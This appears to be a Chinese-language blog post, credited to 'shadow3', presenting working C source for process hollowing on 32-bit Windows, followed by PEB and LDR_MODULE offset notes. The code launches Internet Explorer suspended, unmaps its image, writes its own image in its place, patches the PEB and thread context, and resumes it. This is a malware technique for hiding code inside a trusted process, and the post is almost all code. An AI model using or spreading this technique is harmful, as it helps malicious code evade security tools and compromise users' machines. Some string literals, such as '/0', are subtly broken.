方法来源于shadow3,我整理下;
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")
typedef long NTSTATUS;
typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;
NTSYSAPI NTSTATUS NTAPI ZwUnmapViewOfSection(HANDLE ProcessHandle,PVOID BaseAddress);
int main(int argc, char* argv[])
{
char IeModule[MAX_PATH] = {0};
char SelfModule[MAX_PATH] = {0};
HMODULE hModule;
DWORD dwImageSize;
PIMAGE_DOS_HEADER pDos_Header = NULL;
PIMAGE_NT_HEADERS pNt_Header = NULL;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadContext;
DWORD *pPEB,dwRead;
LPVOID lpVirAddress = NULL;
CHILDPROCESS ChildProcess;
GetSystemDirectory(IeModule,MAX_PATH);
IeModule[2] = '/0';
lstrcat(IeModule,"//Program Files//Internet Explorer//iexplore.exe");
GetModuleFileName(NULL,SelfModule,MAX_PATH);
if(!strcmp(IeModule,SelfModule))
{
MessageBox(NULL,"fuck , ok","rhett",MB_OK);
return 0;
}
hModule = GetModuleHandle(NULL); //得到自己进程装载的基地址
if(hModule==NULL)
{
printf("get self module handle failed/n");
return -1;
}
pDos_Header = (PIMAGE_DOS_HEADER)hModule;
pNt_Header = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDos_Header->e_lfanew);
// 得到内存映象的大小
_asm
{
mov ecx,0x30
mov eax,fs:[ecx]
mov eax,[eax + 0x0c]
mov esi,[eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax
}
CreateProcess(
NULL,
IeModule,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
ThreadContext.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ThreadContext);
pPEB = (DWORD*)ThreadContext.Ebx; //得到peb
ReadProcessMemory( //得到装载地址
pi.hProcess,
&pPEB[2],
(LPVOID)&(ChildProcess.dwBaseAddress),
sizeof(DWORD),
&dwRead
);
ZwUnmapViewOfSection(pi.hProcess,(PVOID)ChildProcess.dwBaseAddress);
lpVirAddress = VirtualAllocEx(pi.hProcess,(LPVOID)hModule,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);
// 重写装载地址
WriteProcessMemory(pi.hProcess,&pPEB[2],&lpVirAddress,sizeof(DWORD),&dwRead);
// 写内存映象
WriteProcessMemory(pi.hProcess,lpVirAddress,hModule,dwImageSize,&dwRead);
ThreadContext.ContextFlags = CONTEXT_FULL;
if((DWORD)lpVirAddress==ChildProcess.dwBaseAddress)
{
ThreadContext.Eax = pNt_Header->OptionalHeader.ImageBase + pNt_Header->OptionalHeader.AddressOfEntryPoint;
}
else
{
ThreadContext.Eax = (DWORD)lpVirAddress + pNt_Header->OptionalHeader.AddressOfEntryPoint;
}
SetThreadContext(pi.hThread,&ThreadContext);
ResumeThread(pi.hThread);
return 0;
}
//-----------------------------------------------------------------------------------
用到的几个重要数据结构:
peb 的结构太长,只写前几个,这里也只用到偏移8byte的字段
struct _PEB
+0x000 InheritedAddressSpace;
+0x001 ReadImageFileExecOptions;
+0x002 BeingDebugged;
+003 SpareBool;
+004 Mutant;
+008 ImageBaseAddress;
+0x00C Ldr
...............
typedef struct _LDR_MODULE
{
LIST_ENTRY InLoadOrderModuleList; // +0x00
LIST_ENTRY InMemoryOrderModuleList; // +0x08
LIST_ENTRY InInitializationOrderModuleList; // +0x10
PVOID BaseAddress; // +0x18
PVOID EntryPoint; // +0x1c
ULONG SizeOfImage; // +0x20
UNICODE_STRING FullDllName; // +0x24
UNICODE_STRING BaseDllName; // +0x2c
ULONG Flags; // +0x34
SHORT LoadCount; // +0x38
SHORT TlsIndex; // +0x3a
LIST_ENTRY HashTableEntry; // +0x3c
ULONG TimeDateStamp; // +0x44
// +0x48
} LDR_MODULE, *PLDR_MODULE;